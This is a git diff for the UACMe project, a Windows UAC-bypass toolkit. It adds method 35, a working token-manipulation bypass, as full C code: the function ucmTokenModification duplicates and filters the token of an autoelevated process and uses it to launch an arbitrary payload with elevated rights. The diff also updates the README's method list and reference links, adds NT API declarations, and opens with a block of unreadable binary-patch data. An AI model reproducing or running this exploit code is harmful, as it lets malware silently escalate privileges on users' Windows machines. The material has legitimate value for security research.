z>OXq3UMP(xVm-IgrGgki&1-JrY*Ip-byHgmbbmd!_IzSM`@r1xQ1AZ__1(eC(7)X8 z>DCfmttFArGhAT|q31Z-3MfZHSX_sdjltiDTw(UvijtV^n4pb86I*bsw%R$cTy}2?%LDnf za5KS@;u=NlM;l<)1rzZ}bfW<$ttDKBUBLvF7uTcB1g>`ZJd7$5iGf6dE3s<;P+&zq zPIn%llBs#K@8a4wY(zR~fxtBh^NSC$Jjh`^;#;@bHcsS)BMR3es>}n?t<n0FntVpO(CzPoM^te?6Hx zAi6#fB-$bK5>K$_)MVDaV_?%8eCS-fw_+2uhK=v|nWG)mMLGnAu zNl9>vQ6@+pLW+|bgT(i}YpE#fn%exaVgT2`)4UUuTimCpWA086G1QnwTC0;w*-2VW zzm%%d^b1BvH&)iEnIj+7XgF;~q_CqS&!t3IfI5Puen-m0_GS(ZGcIL#J#pgvl?!Td zv;}hsQcsYuS#)Pq9Crh;hr(QG#P?~Zz~DV~)TONz*iFBOi_89TF1)heJr8Wg3eiM8 z-UJ!<{Woso-uuBc^^3QP5H|m%V0{e*{e^<#JZY1HjZl!hkDcw@SRKf2bhbHS;xQqS zpK@p1_Q9#*X_P7uIs;L|nA#PdznnYdzZz&-qk$vbAT6n?fo6j67gkW=MGp`tiqJZb zAy*G-5F4@g$Q7ZvR_Q$4!{8Qx=roj^Oo*wu#;~0UyB+s&9&n$Rx0a(9g-?9)8e>d4 zR5f+?Yx3$D(e95_pjL4y`V>E=dlet8_Ez$KIStlBZ?b;Et=cYC=hjPib)>7j+rDVy z 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 diff --git a/README.md b/README.md index eb3b75b..de55f61 100644 --- a/README.md +++ b/README.md @@ -288,6 +288,15 @@ Keys (watch debug output with dbgview or similar for more info): * AlwaysNotify compatible * Fixed in: unfixed :see_no_evil: * How: - +35. Author: CIA & James Forshaw + * Type: Impersonation + * Method: Token Manipulations + * Target(s): Autoelevated applications + * Component(s): Attacker defined applications + * Works from: Windows 7 (7600) + * AlwaysNotify compatible, see note + * Fixed in: unfixed :see_no_evil: + * How: - Note: * Method (6) unavailable in wow64 environment starting from Windows 8; @@ -295,7 +304,8 @@ Note: * Method (13) (19) and above implemented only in x64 version; * Method (14) require process injection, wow64 unsupported, use x64 version of this tool; * Method (26) is still working, however it main advantage was UAC bypass on AlwaysNotify level. Since 15031 it is gone; -* Method (30) require x64 because it abuses WOW64 subsystem feature. +* Method (30) require x64 because it abuses WOW64 subsystem feature; +* Method (35) AlwaysNotify compatible as there always will be running autoelevated apps or user will have to launch them anyway. Run examples: * akagi32.exe 1 @@ -317,7 +327,6 @@ https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 # Protection -* UAC turned on maximum level and full awareness about every window it will show; * Account without administrative privileges. # Malware usage @@ -348,7 +357,11 @@ https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 * UAC Bypass or story about three escalations, https://habrahabr.ru/company/pm/blog/328008/ * Exploiting Environment Variables in Scheduled Tasks for UAC Bypass, https://tyranidslair.blogspot.ru/2017/05/exploiting-environment-variables-in.html * First entry: Welcome and fileless UAC bypass, https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ - +* Reading Your Way Around UAC in 3 parts: + 1. https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-1.html + 2. https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-2.html + 3. https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-3.html + # Authors (c) 2014 - 2017 UACMe Project diff --git a/Source/Akagi/Resource.rc b/Source/Akagi/Resource.rc index 8645796f9ad5328e6fb38fea1e887227658c8da5..7275d075cd5e3e5f10df5834eea842f4b5e5d101 100644 GIT binary patch delta 42 vcmZoLXfW8o#m8tonVZj?(Ri~n-&-aiWhlrBq$V2*Do)N47TTO8JdFha=3ok~ delta 42 vcmZoLXfW8o#m8tgnVZj?(P*ShellExecute"), + GetLastError()); +#endif + break; + } + + // + // Open token of elevated process. + // + Status = NtOpenProcessToken(shinfo.hProcess, MAXIMUM_ALLOWED, &hProcessToken); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtOpenProcessToken"), + Status); +#endif + break; + } + + // + // Duplicate primary token. + // + sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); + sqos.ImpersonationLevel = SecurityImpersonation; + sqos.ContextTrackingMode = 0; + sqos.EffectiveOnly = FALSE; + InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL); + obja.SecurityQualityOfService = &sqos; + Status = NtDuplicateToken(hProcessToken, TOKEN_ALL_ACCESS, &obja, FALSE, TokenPrimary, &hDupToken); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtDuplicateToken"), + Status); +#endif + break; + } + + // + // Lower duplicated token IL from High to Medium. + // + Status = RtlAllocateAndInitializeSid(&MLAuthority, + 1, SECURITY_MANDATORY_MEDIUM_RID, + 0, 0, 0, 0, 0, 0, 0, + &pIntegritySid); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->RtlAllocateAndInitializeSid"), + Status); +#endif + break; + } + + tml.Label.Attributes = SE_GROUP_INTEGRITY; + tml.Label.Sid = pIntegritySid; + + Status = NtSetInformationToken(hDupToken, TokenIntegrityLevel, &tml, + sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid)); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtSetInformationToken"), + Status); +#endif + break; + } + + // + // Create restricted token. + // + Status = NtFilterToken(hDupToken, LUA_TOKEN, NULL, NULL, NULL, &hLuaToken); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtFilterToken"), + Status); +#endif + break; + } + + // + // Impersonate logged on user. + // + hImpToken = NULL; + Status = NtDuplicateToken(hLuaToken, TOKEN_IMPERSONATE | TOKEN_QUERY, + &obja, + FALSE, + TokenImpersonation, + &hImpToken); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtDuplicateToken2"), + Status); +#endif + break; + } + + Status = NtSetInformationThread( + NtCurrentThread(), + ThreadImpersonationToken, + &hImpToken, + sizeof(HANDLE)); + + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtSetInformationThread"), + Status); +#endif + break; + } + + NtClose(hImpToken); + hImpToken = NULL; + + // + // Run target. + // + RtlSecureZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + GetStartupInfo(&si); + + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_SHOW; + + RtlSecureZeroMemory(&pi, sizeof(pi)); + + bResult = CreateProcessWithLogonW(TEXT("uac"), TEXT("is"), TEXT("useless"), + LOGON_NETCREDENTIALS_ONLY, + lpBuffer, + NULL, 0, NULL, NULL, + &si, &pi); + + if (bResult) { + if (pi.hThread) CloseHandle(pi.hThread); + if (pi.hProcess) CloseHandle(pi.hProcess); + } + + // + // Revert to self. + // + hImpToken = NULL; + Status = NtSetInformationThread( + NtCurrentThread(), + ThreadImpersonationToken, + (PVOID)&hImpToken, + sizeof(HANDLE)); + if (!NT_SUCCESS(Status)) { +#ifdef _INT_DEBUG + supDebugPrint( + TEXT("ucmTokenModification->NtSetInformationThread2"), + Status); +#endif + } + + } while (bCond); + + if (hImpToken) NtClose(hImpToken); + if (hProcessToken) NtClose(hProcessToken); + if (hDupToken) NtClose(hDupToken); + if (hLuaToken) NtClose(hLuaToken); + if (shinfo.hProcess) NtClose(shinfo.hProcess); + if (pIntegritySid) RtlFreeSid(pIntegritySid); + + RtlSetLastWin32Error(RtlNtStatusToDosError(Status)); + return bResult; +} diff --git a/Source/Akagi/methods/tyranid.h b/Source/Akagi/methods/tyranid.h index da1b5b5..4f1245d 100644 --- a/Source/Akagi/methods/tyranid.h +++ b/Source/Akagi/methods/tyranid.h @@ -1,12 +1,12 @@ /******************************************************************************* * -* (C) COPYRIGHT AUTHORS, 2016 - 2017 +* (C) COPYRIGHT AUTHORS, 2017 * * TITLE: TYRANID.H * -* VERSION: 2.72 +* VERSION: 2.73 * -* DATE: 26 May 2017 +* DATE: 27 May 2017 * * Prototypes and definitions for James Forshaw method(s). * @@ -20,3 +20,6 @@ BOOL ucmDiskCleanupEnvironmentVariable( _In_opt_ LPWSTR lpszPayload); + +BOOL ucmTokenModification( + _In_opt_ LPWSTR lpszPayload); diff --git a/Source/Hibiki/hibiki.suppress b/Source/Hibiki/hibiki.suppress new file mode 100644 index 0000000..5340957 --- /dev/null +++ b/Source/Hibiki/hibiki.suppress @@ -0,0 +1,50 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 2 + + + rtltypes.h + V112 + Dangerous magic number _x_ used: return c + _x_;. + 172268903 + 355059 + 539 + + \ No newline at end of file diff --git a/Source/Inazuma/main.c b/Source/Inazuma/main.c index 658912b..a1ec895 100644 --- a/Source/Inazuma/main.c +++ b/Source/Inazuma/main.c @@ -4,9 +4,9 @@ * * TITLE: MAIN.C * -* VERSION: 2.70 +* VERSION: 2.73 * -* DATE: 24 Mar 2017 +* DATE: 27 May 2017 * * ShellCode. * @@ -19,6 +19,10 @@ //disable nonmeaningful warnings. #pragma warning(disable: 4005) // macro redefinition +#pragma warning(disable: 4055) // %s : from data pointer %s to function pointer %s +#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union +#pragma warning(disable: 6102) // Using %s from failed function call at line %u #include #include "shared\ntos.h" diff --git a/Source/Naka/Naka.vcxproj b/Source/Naka/Naka.vcxproj index 48099ca..f81b7aa 100644 --- a/Source/Naka/Naka.vcxproj +++ b/Source/Naka/Naka.vcxproj @@ -5,6 +5,14 @@ Debug Win32 + + ReleaseInternal + Win32 + + + ReleaseInternal + x64 + Release Win32 @@ -38,6 +46,13 @@ true Unicode + + Application + false + v140 + true + Unicode + Application true @@ -51,6 +66,13 @@ true Unicode + + Application + false + v140 + true + Unicode + @@ -62,12 +84,18 @@ + + + + + + true @@ -90,6 +118,13 @@ $(ProjectName)32 AllRules.ruleset + + false + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + $(ProjectName)32 + AllRules.ruleset + false .\output\$(Platform)\$(Configuration)\ @@ -97,6 +132,13 @@ $(ProjectName)64 AllRules.ruleset + + false + .\output\$(Platform)\$(Configuration)\ + .\output\$(Platform)\$(Configuration)\ + $(ProjectName)64 + AllRules.ruleset + @@ -130,6 +172,32 @@ + + Level4 + + + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + CompileAsC + $(SolutionDir) + + + Windows + true + true + false + true + main + + + + + + + Level4 @@ -155,6 +223,32 @@ + + Level4 + + + MaxSpeed + true + true + NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + true + CompileAsC + $(SolutionDir) + + + Windows + true + true + false + true + main + + + + + + + Level4 diff --git a/Source/Shared/ntos.h b/Source/Shared/ntos.h index 5b77c7d..8e4dc24 100644 --- a/Source/Shared/ntos.h +++ b/Source/Shared/ntos.h @@ -4,9 +4,9 @@ * * TITLE: NTOS.H * -* VERSION: 1.66 +* VERSION: 1.70 * -* DATE: 02 May 2017 +* DATE: 27 May 2017 * * Common header file for the ntos API functions and definitions. * @@ -1142,6 +1142,37 @@ typedef struct _OBJECT_HANDLE_FLAG_INFORMATION ** Objects END */ +/* +** Boot Entry START +*/ + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_ENTRY_LIST { + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, *PBOOT_ENTRY_LIST; + +/* +** Boot Entry END +*/ + /* ** File start */ @@ -4602,7 +4633,7 @@ BOOLEAN NTAPI RtlCreateUnicodeString( VOID NTAPI RtlInitUnicodeString( _Inout_ PUNICODE_STRING DestinationString, - _In_ PCWSTR SourceString + _In_opt_ PCWSTR SourceString ); BOOLEAN NTAPI RtlEqualUnicodeString( @@ -5557,14 +5588,50 @@ NTSTATUS NTAPI NtMapViewOfSection( NTSTATUS NTAPI NtUnmapViewOfSection( _In_ HANDLE ProcessHandle, _In_ PVOID BaseAddress - ); + ); NTSTATUS NTAPI NtOpenProcessToken( - _In_ HANDLE ProcessHandle, - _In_ ACCESS_MASK DesiredAccess, - _Out_ PHANDLE TokenHandle - ); + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); +NTSTATUS NTAPI NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + +NTSTATUS NTAPI NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + +NTSTATUS NTAPI NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); NTSTATUS NTAPI NtOpenThreadTokenEx( _In_ HANDLE ThreadHandle, @@ -5591,6 +5658,20 @@ NTSTATUS NTAPI NtQueryInformationToken( _Out_ PULONG ReturnLength ); +#define DISABLE_MAX_PRIVILEGE 0x1 // winnt +#define SANDBOX_INERT 0x2 // winnt +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICT 0x8 + +NTSTATUS NTAPI NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + NTSTATUS NTAPI NtCreateKey( _Out_ PHANDLE KeyHandle, _In_ ACCESS_MASK DesiredAccess, @@ -5691,19 +5772,6 @@ NTSTATUS NTAPI NtQueryFullAttributesFile( __out PFILE_NETWORK_OPEN_INFORMATION FileInformation ); -NTSTATUS NTAPI NtFsControlFile( - _In_ HANDLE FileHandle, - _In_opt_ HANDLE Event, - _In_opt_ PIO_APC_ROUTINE ApcRoutine, - _In_opt_ PVOID ApcContext, - _Out_ PIO_STATUS_BLOCK IoStatusBlock, - _In_ ULONG FsControlCode, - _In_ PVOID InputBuffer, - _In_ ULONG InputBufferLength, - _Out_ PVOID OutputBuffer, - _In_ ULONG OutputBufferLength - ); - NTSTATUS NTAPI NtQueryDirectoryFile( _In_ HANDLE FileHandle, _In_opt_ HANDLE Event, @@ -5888,6 +5956,32 @@ NTSTATUS NTAPI NtCreateFile( _In_ ULONG EaLength ); +NTSTATUS NTAPI NtDeviceIoControlFile( + _In_ HANDLE FileHandle, + _In_ HANDLE Event, + _In_ PIO_APC_ROUTINE ApcRoutine, + _In_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG IoControlCode, + _In_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + +NTSTATUS NTAPI NtFsControlFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG FsControlCode, + _In_opt_ PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_opt_ PVOID OutputBuffer, + _In_ ULONG OutputBufferLength + ); + NTSTATUS NTAPI NtCreateUserProcess( _Out_ PHANDLE ProcessHandle, _Out_ PHANDLE ThreadHandle, @@ -6177,34 +6271,29 @@ NTSTATUS NTAPI NtAcceptConnectPort( _In_ PPORT_MESSAGE ConnectionRequest, _In_ BOOLEAN AcceptConnection, _Inout_opt_ PPORT_VIEW ServerView, - _Out_opt_ PREMOTE_PORT_VIEW ClientView - ); + _Out_opt_ PREMOTE_PORT_VIEW ClientView); typedef VOID (*PPS_APC_ROUTINE) ( _In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, - _In_opt_ PVOID ApcArgument3 - ); + _In_opt_ PVOID ApcArgument3); NTSTATUS NTAPI NtQueueApcThread( _In_ HANDLE ThreadHandle, _In_ PPS_APC_ROUTINE ApcRoutine, 